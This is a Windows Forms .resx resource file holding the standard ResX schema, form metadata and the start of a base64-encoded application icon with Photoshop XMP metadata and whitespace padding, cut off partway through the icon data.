    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\r\n    <value>17, 17</value>\r\n  </metadata>\r\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\r\n    <value>33</value>\r\n  </metadata>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        